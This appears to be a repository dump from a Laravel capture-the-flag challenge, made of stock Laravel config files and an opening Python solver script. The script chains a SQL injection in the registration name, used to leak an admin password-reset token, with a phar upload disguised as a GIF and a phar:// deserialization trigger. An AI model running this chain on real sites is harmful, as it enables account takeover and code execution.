5 | Date : 2018-10-15 21:39:25
6 | """
7 | import requests
8 | import random
9 | import time
10 | import string
11 | import re
12 |
13 | req = requests.Session()
14 |
15 | URL = 'http://127.0.0.1:8081'
16 |
17 |
18 | def randstr(n=10):
19 | return ''.join([str(random.choice(string.ascii_lowercase)) for i in range(n)])
20 |
21 |
22 | def get_csrf_token(url):
23 | res = req.get(URL+url)
24 | if res.status_code == 200:
25 | html = res.content.decode('utf-8')
26 | m = re.findall(r'', html)
27 | if m and len(m) > 0:
28 | csrftoken = m[0]
29 | return csrftoken
30 | print("[-] Request CSRT Error")
31 | return False
32 |
33 |
34 | def req_reset(email='admin@qvq.im'):
35 | csrftoken = get_csrf_token('/password/reset')
36 | if not csrftoken:
37 | return False
38 | data = {
39 | "_token": csrftoken,
40 | "email": email
41 | }
42 | res = None
43 | try:
44 | res = req.post(URL+'/password/email', data=data, timeout=1)
45 | if res.status_code == 200 or res.status_code == 500:
46 | print("[+] Request Reset Admin ")
47 | return True
48 | except:
49 | # server not set email server, then return 500
50 | print("[+] !Request Reset Admin ")
51 | return True
52 | else:
53 | print("[-] Request Reset Error")
54 |
55 |
56 | def reg_notes_token():
57 | name = "virink' union select 1,token,3,4,5 from password_resets order by created_at desc limit 1-- -"
58 | email = "e%s@vvv.vvv" % randstr()
59 | csrftoken = get_csrf_token('/register')
60 | if not csrftoken:
61 | return False
62 | data = {
63 | "_token": csrftoken,
64 | "name": name,
65 | "email": email,
66 | "password": "password",
67 | "password_confirmation": "password"
68 | }
69 | # Register
70 | res = req.post(URL+'/register', data=data)
71 | if res.status_code == 200:
72 | print("[+] Register [%s] success" % email)
73 | # Note
74 | res = req.get(URL+'/note')
75 | if res.status_code == 200:
76 | html = res.content.decode('utf-8')
77 | m = re.findall(r'([a-f0-9]{64})', html)
78 | if m and len(m) > 0:
79 | print("[+] Reset Token : %s" % m[0])
80 | return m[0]
81 | else:
82 | print("[-] Reset Token Error")
83 | else:
84 | print("[-] Get Note error")
85 | else:
86 | print("[-] Register error")
87 | return False
88 |
89 |
90 | def reset_passwd(token, passwd='123456', email='admin@qvq.im'):
91 | csrftoken = get_csrf_token('/password/reset/%s' % token)
92 | if csrftoken:
93 | data = {
94 | "_token": csrftoken,
95 | "token": token,
96 | "email": email,
97 | "password": "password",
98 | "password_confirmation": "password"
99 | }
100 | res = req.post(URL+'/password/reset', data=data)
101 | if res.status_code == 200:
102 | print("[+] Reset Passwd success")
103 | return True
104 | else:
105 | print("[-] Reset Passwd Error")
106 |
107 |
108 | def upload(uploadfile='easy_laravel_exp.phar'):
109 | csrftoken = get_csrf_token('/upload')
110 | filename = randstr()+'.gif'
111 | if csrftoken:
112 | data = {
113 | "_token": csrftoken
114 | }
115 | files = {
116 | "file": (filename, open(uploadfile, 'rb').read(), 'application/octet-stream'),
117 | }
118 | res = req.post(URL+'/upload', data=data, files=files)
119 | if res.status_code == 200:
120 | print("[+] Upload exp gif success")
121 | return filename
122 | return False
123 |
124 |
125 | def checkfile(filename='easy_laravel_exp.gif'):
126 | csrftoken = get_csrf_token('/files')
127 | if csrftoken:
128 | data = {
129 | "_token": csrftoken,
130 | "filename": "/%s/v.txt" % filename,
131 | }
132 | res = req.post(
133 | URL+'/check?path=phar://../storage/app/public', data=data)
134 | if res.status_code == 200:
135 | print("[+] Check File success")
136 | return True
137 | print("[-] Check File Error")
138 |
139 |
140 | def getflag():
141 | res = req.get(URL+'/flag')
142 | if res.status_code == 200:
143 | html = res.content.decode('utf-8')
144 | flag = html[html.find('')+34:-225]
145 | return flag.strip()
146 |
147 |
148 | if __name__ == '__main__':
149 | if req_reset():
150 | token = reg_notes_token()
151 | print("[+] %s/password/reset/%s" % (URL, token))
152 | req = requests.Session()
153 | if token:
154 | if reset_passwd(token):
155 | flag = getflag()
156 | print("[-] Get Flag Before: \033[91m%s\033[0m" % flag)
157 | fn = upload()
158 | if fn:
159 | if checkfile(fn):
160 | flag = getflag()
161 | print("[!!!] Get Flag : \033[91m%s\033[0m" % flag)
162 |
--------------------------------------------------------------------------------
/easy_laravel/resources/lang/en/validation.php:
--------------------------------------------------------------------------------
1 | 'The :attribute must be accepted.',
17 | 'active_url' => 'The :attribute is not a valid URL.',
18 | 'after' => 'The :attribute must be a date after :date.',
19 | 'alpha' => 'The :attribute may only contain letters.',
20 | 'alpha_dash' => 'The :attribute may only contain letters, numbers, and dashes.',
21 | 'alpha_num' => 'The :attribute may only contain letters and numbers.',
22 | 'array' => 'The :attribute must be an array.',
23 | 'before' => 'The :attribute must be a date before :date.',
24 | 'between' => [
25 | 'numeric' => 'The :attribute must be between :min and :max.',
26 | 'file' => 'The :attribute must be between :min and :max kilobytes.',
27 | 'string' => 'The :attribute must be between :min and :max characters.',
28 | 'array' => 'The :attribute must have between :min and :max items.',
29 | ],
30 | 'boolean' => 'The :attribute field must be true or false.',
31 | 'confirmed' => 'The :attribute confirmation does not match.',
32 | 'date' => 'The :attribute is not a valid date.',
33 | 'date_format' => 'The :attribute does not match the format :format.',
34 | 'different' => 'The :attribute and :other must be different.',
35 | 'digits' => 'The :attribute must be :digits digits.',
36 | 'digits_between' => 'The :attribute must be between :min and :max digits.',
37 | 'dimensions' => 'The :attribute has invalid image dimensions.',
38 | 'distinct' => 'The :attribute field has a duplicate value.',
39 | 'email' => 'The :attribute must be a valid email address.',
40 | 'exists' => 'The selected :attribute is invalid.',
41 | 'file' => 'The :attribute must be a file.',
42 | 'filled' => 'The :attribute field is required.',
43 | 'image' => 'The :attribute must be an image.',
44 | 'in' => 'The selected :attribute is invalid.',
45 | 'in_array' => 'The :attribute field does not exist in :other.',
46 | 'integer' => 'The :attribute must be an integer.',
47 | 'ip' => 'The :attribute must be a valid IP address.',
48 | 'json' => 'The :attribute must be a valid JSON string.',
49 | 'max' => [
50 | 'numeric' => 'The :attribute may not be greater than :max.',
51 | 'file' => 'The :attribute may not be greater than :max kilobytes.',
52 | 'string' => 'The :attribute may not be greater than :max characters.',
53 | 'array' => 'The :attribute may not have more than :max items.',
54 | ],
55 | 'mimes' => 'The :attribute must be a file of type: :values.',
56 | 'min' => [
57 | 'numeric' => 'The :attribute must be at least :min.',
58 | 'file' => 'The :attribute must be at least :min kilobytes.',
59 | 'string' => 'The :attribute must be at least :min characters.',
60 | 'array' => 'The :attribute must have at least :min items.',
61 | ],
62 | 'not_in' => 'The selected :attribute is invalid.',
63 | 'numeric' => 'The :attribute must be a number.',
64 | 'present' => 'The :attribute field must be present.',
65 | 'regex' => 'The :attribute format is invalid.',
66 | 'required' => 'The :attribute field is required.',
67 | 'required_if' => 'The :attribute field is required when :other is :value.',
68 | 'required_unless' => 'The :attribute field is required unless :other is in :values.',
69 | 'required_with' => 'The :attribute field is required when :values is present.',
70 | 'required_with_all' => 'The :attribute field is required when :values is present.',
71 | 'required_without' => 'The :attribute field is required when :values is not present.',
72 | 'required_without_all' => 'The :attribute field is required when none of :values are present.',
73 | 'same' => 'The :attribute and :other must match.',
74 | 'size' => [
75 | 'numeric' => 'The :attribute must be :size.',
76 | 'file' => 'The :attribute must be :size kilobytes.',
77 | 'string' => 'The :attribute must be :size characters.',
78 | 'array' => 'The :attribute must contain :size items.',
79 | ],
80 | 'string' => 'The :attribute must be a string.',
81 | 'timezone' => 'The :attribute must be a valid zone.',
82 | 'unique' => 'The :attribute has already been taken.',
83 | 'url' => 'The :attribute format is invalid.',
84 |
85 | /*
86 | |--------------------------------------------------------------------------
87 | | Custom Validation Language Lines
88 | |--------------------------------------------------------------------------
89 | |
90 | | Here you may specify custom validation messages for attributes using the
91 | | convention "attribute.rule" to name the lines. This makes it quick to
92 | | specify a specific custom language line for a given attribute rule.
93 | |
94 | */
95 |
96 | 'custom' => [
97 | 'attribute-name' => [
98 | 'rule-name' => 'custom-message',
99 | ],
100 | ],
101 |
102 | /*
103 | |--------------------------------------------------------------------------
104 | | Custom Validation Attributes
105 | |--------------------------------------------------------------------------
106 | |
107 | | The following language lines are used to swap attribute place-holders
108 | | with something more reader friendly such as E-Mail Address instead
109 | | of "email". This simply helps us make messages a little cleaner.
110 | |
111 | */
112 |
113 | 'attributes' => [],
114 |
115 | ];
116 |
--------------------------------------------------------------------------------
/easy_laravel/config/session.php:
--------------------------------------------------------------------------------
1 | env('SESSION_DRIVER', 'file'),
20 |
21 | /*
22 | |--------------------------------------------------------------------------
23 | | Session Lifetime
24 | |--------------------------------------------------------------------------
25 | |
26 | | Here you may specify the number of minutes that you wish the session
27 | | to be allowed to remain idle before it expires. If you want them
28 | | to immediately expire on the browser closing, set that option.
29 | |
30 | */
31 |
32 | 'lifetime' => 120,
33 |
34 | 'expire_on_close' => false,
35 |
36 | /*
37 | |--------------------------------------------------------------------------
38 | | Session Encryption
39 | |--------------------------------------------------------------------------
40 | |
41 | | This option allows you to easily specify that all of your session data
42 | | should be encrypted before it is stored. All encryption will be run
43 | | automatically by Laravel and you can use the Session like normal.
44 | |
45 | */
46 |
47 | 'encrypt' => false,
48 |
49 | /*
50 | |--------------------------------------------------------------------------
51 | | Session File Location
52 | |--------------------------------------------------------------------------
53 | |
54 | | When using the native session driver, we need a location where session
55 | | files may be stored. A default has been set for you but a different
56 | | location may be specified. This is only needed for file sessions.
57 | |
58 | */
59 |
60 | 'files' => storage_path('framework/sessions'),
61 |
62 | /*
63 | |--------------------------------------------------------------------------
64 | | Session Database Connection
65 | |--------------------------------------------------------------------------
66 | |
67 | | When using the "database" or "redis" session drivers, you may specify a
68 | | connection that should be used to manage these sessions. This should
69 | | correspond to a connection in your database configuration options.
70 | |
71 | */
72 |
73 | 'connection' => null,
74 |
75 | /*
76 | |--------------------------------------------------------------------------
77 | | Session Database Table
78 | |--------------------------------------------------------------------------
79 | |
80 | | When using the "database" session driver, you may specify the table we
81 | | should use to manage the sessions. Of course, a sensible default is
82 | | provided for you; however, you are free to change this as needed.
83 | |
84 | */
85 |
86 | 'table' => 'sessions',
87 |
88 | /*
89 | |--------------------------------------------------------------------------
90 | | Session Cache Store
91 | |--------------------------------------------------------------------------
92 | |
93 | | When using the "apc" or "memcached" session drivers, you may specify a
94 | | cache store that should be used for these sessions. This value must
95 | | correspond with one of the application's configured cache stores.
96 | |
97 | */
98 |
99 | 'store' => null,
100 |
101 | /*
102 | |--------------------------------------------------------------------------
103 | | Session Sweeping Lottery
104 | |--------------------------------------------------------------------------
105 | |
106 | | Some session drivers must manually sweep their storage location to get
107 | | rid of old sessions from storage. Here are the chances that it will
108 | | happen on a given request. By default, the odds are 2 out of 100.
109 | |
110 | */
111 |
112 | 'lottery' => [2, 100],
113 |
114 | /*
115 | |--------------------------------------------------------------------------
116 | | Session Cookie Name
117 | |--------------------------------------------------------------------------
118 | |
119 | | Here you may change the name of the cookie used to identify a session
120 | | instance by ID. The name specified here will get used every time a
121 | | new session cookie is created by the framework for every driver.
122 | |
123 | */
124 |
125 | 'cookie' => 'laravel_session',
126 |
127 | /*
128 | |--------------------------------------------------------------------------
129 | | Session Cookie Path
130 | |--------------------------------------------------------------------------
131 | |
132 | | The session cookie path determines the path for which the cookie will
133 | | be regarded as available. Typically, this will be the root path of
134 | | your application but you are free to change this when necessary.
135 | |
136 | */
137 |
138 | 'path' => '/',
139 |
140 | /*
141 | |--------------------------------------------------------------------------
142 | | Session Cookie Domain
143 | |--------------------------------------------------------------------------
144 | |
145 | | Here you may change the domain of the cookie used to identify a session
146 | | in your application. This will determine which domains the cookie is
147 | | available to in your application. A sensible default has been set.
148 | |
149 | */
150 |
151 | 'domain' => env('SESSION_DOMAIN', null),
152 |
153 | /*
154 | |--------------------------------------------------------------------------
155 | | HTTPS Only Cookies
156 | |--------------------------------------------------------------------------
157 | |
158 | | By setting this option to true, session cookies will only be sent back
159 | | to the server if the browser has a HTTPS connection. This will keep
160 | | the cookie from being sent to you if it can not be done securely.
161 | |
162 | */
163 |
164 | 'secure' => false,
165 |
166 | /*
167 | |--------------------------------------------------------------------------
168 | | HTTP Access Only
169 | |--------------------------------------------------------------------------
170 | |
171 | | Setting this value to true will prevent JavaScript from accessing the
172 | | value of the cookie and the cookie will only be accessible through
173 | | the HTTP protocol. You are free to modify this option if needed.
174 | |
175 | */
176 |
177 | 'http_only' => true,
178 |
179 | ];
180 |
--------------------------------------------------------------------------------
/easy_laravel/config/debugbar.php:
--------------------------------------------------------------------------------
1 | env('DEBUGBAR_ENABLED', null),
16 |
17 | /*
18 | |--------------------------------------------------------------------------
19 | | Storage settings
20 | |--------------------------------------------------------------------------
21 | |
22 | | DebugBar stores data for session/ajax requests.
23 | | You can disable this, so the debugbar stores data in headers/session,
24 | | but this can cause problems with large data collectors.
25 | | By default, file storage (in the storage folder) is used. Redis and PDO
26 | | can also be used. For PDO, run the package migrations first.
27 | |
28 | */
29 | 'storage' => [
30 | 'enabled' => true,
31 | 'driver' => 'file', // redis, file, pdo, custom
32 | 'path' => storage_path('debugbar'), // For file driver
33 | 'connection' => null, // Leave null for default connection (Redis/PDO)
34 | 'provider' => '' // Instance of StorageInterface for custom driver
35 | ],
36 |
37 | /*
38 | |--------------------------------------------------------------------------
39 | | Vendors
40 | |--------------------------------------------------------------------------
41 | |
42 | | Vendor files are included by default, but can be set to false.
43 | | This can also be set to 'js' or 'css', to only include javascript or css vendor files.
44 | | Vendor files are for css: font-awesome (including fonts) and highlight.js (css files)
45 | | and for js: jquery and and highlight.js
46 | | So if you want syntax highlighting, set it to true.
47 | | jQuery is set to not conflict with existing jQuery scripts.
48 | |
49 | */
50 |
51 | 'include_vendors' => true,
52 |
53 | /*
54 | |--------------------------------------------------------------------------
55 | | Capture Ajax Requests
56 | |--------------------------------------------------------------------------
57 | |
58 | | The Debugbar can capture Ajax requests and display them. If you don't want this (ie. because of errors),
59 | | you can use this option to disable sending the data through the headers.
60 | |
61 | | Optionally, you can also send ServerTiming headers on ajax requests for the Chrome DevTools.
62 | */
63 |
64 | 'capture_ajax' => true,
65 | 'add_ajax_timing' => false,
66 |
67 | /*
68 | |--------------------------------------------------------------------------
69 | | Custom Error Handler for Deprecated warnings
70 | |--------------------------------------------------------------------------
71 | |
72 | | When enabled, the Debugbar shows deprecated warnings for Symfony components
73 | | in the Messages tab.
74 | |
75 | */
76 | 'error_handler' => false,
77 |
78 | /*
79 | |--------------------------------------------------------------------------
80 | | Clockwork integration
81 | |--------------------------------------------------------------------------
82 | |
83 | | The Debugbar can emulate the Clockwork headers, so you can use the Chrome
84 | | Extension, without the server-side code. It uses Debugbar collectors instead.
85 | |
86 | */
87 | 'clockwork' => false,
88 |
89 | /*
90 | |--------------------------------------------------------------------------
91 | | DataCollectors
92 | |--------------------------------------------------------------------------
93 | |
94 | | Enable/disable DataCollectors
95 | |
96 | */
97 |
98 | 'collectors' => [
99 | 'phpinfo' => true, // Php version
100 | 'messages' => true, // Messages
101 | 'time' => true, // Time Datalogger
102 | 'memory' => true, // Memory usage
103 | 'exceptions' => true, // Exception displayer
104 | 'log' => true, // Logs from Monolog (merged in messages if enabled)
105 | 'db' => true, // Show database (PDO) queries and bindings
106 | 'views' => true, // Views with their data
107 | 'route' => true, // Current route information
108 | 'auth' => true, // Display Laravel authentication status
109 | 'gate' => true, // Display Laravel Gate checks
110 | 'session' => true, // Display session data
111 | 'symfony_request' => true, // Only one can be enabled..
112 | 'mail' => true, // Catch mail messages
113 | 'laravel' => false, // Laravel version and environment
114 | 'events' => false, // All events fired
115 | 'default_request' => false, // Regular or special Symfony request logger
116 | 'logs' => false, // Add the latest log messages
117 | 'files' => false, // Show the included files
118 | 'config' => false, // Display config settings
119 | ],
120 |
121 | /*
122 | |--------------------------------------------------------------------------
123 | | Extra options
124 | |--------------------------------------------------------------------------
125 | |
126 | | Configure some DataCollectors
127 | |
128 | */
129 |
130 | 'options' => [
131 | 'auth' => [
132 | 'show_name' => true, // Also show the users name/email in the debugbar
133 | ],
134 | 'db' => [
135 | 'with_params' => true, // Render SQL with the parameters substituted
136 | 'backtrace' => true, // Use a backtrace to find the origin of the query in your files.
137 | 'timeline' => false, // Add the queries to the timeline
138 | 'explain' => [ // Show EXPLAIN output on queries
139 | 'enabled' => false,
140 | 'types' => ['SELECT'], // ['SELECT', 'INSERT', 'UPDATE', 'DELETE']; for MySQL 5.6.3+
141 | ],
142 | 'hints' => true, // Show hints for common mistakes
143 | ],
144 | 'mail' => [
145 | 'full_log' => false
146 | ],
147 | 'views' => [
148 | 'data' => false, //Note: Can slow down the application, because the data can be quite large..
149 | ],
150 | 'route' => [
151 | 'label' => true // show complete route on bar
152 | ],
153 | 'logs' => [
154 | 'file' => null
155 | ],
156 | ],
157 |
158 | /*
159 | |--------------------------------------------------------------------------
160 | | Inject Debugbar in Response
161 | |--------------------------------------------------------------------------
162 | |
163 | | Usually, the debugbar is added just before